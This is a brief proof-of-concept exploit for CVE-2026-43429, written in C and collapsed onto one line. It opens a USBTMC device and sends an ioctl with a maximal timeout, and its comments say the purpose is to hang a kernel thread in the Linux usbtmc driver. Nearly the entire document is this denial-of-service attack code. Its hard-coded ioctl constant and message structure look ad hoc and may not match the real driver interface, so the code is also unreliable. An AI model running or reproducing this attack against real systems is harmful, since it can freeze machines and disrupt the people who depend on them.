CVE-2026-43429

/* * PoC for CVE-2026-43429 * Trigger unkillable wait in usbtmc driver via ioctl. * Needs /dev/usbtmc0 device access. */ #include <stdio.h> #include <fcntl.h> #include <sys/ioctl.h> #include <linux/types.h> // IOCTL command for USBTMC write/read with timeout #define USBTMC_IOCTL_WRITE 0x8005 struct usbtmc_msg { __u32 timeout; __u32 transfer_size; __u8 data[64]; }; int main() { int fd = open("/dev/usbtmc0", O_RDWR); if (fd < 0) { perror("open"); return 1; } struct usbtmc_msg msg; msg.timeout = 0xFFFFFFFF; // Set maximum timeout to hang kernel msg.transfer_size = 64; printf("Sending malicious ioctl to hang kernel thread...\n"); ioctl(fd, USBTMC_IOCTL_WRITE, &msg); close(fd); return 0; }

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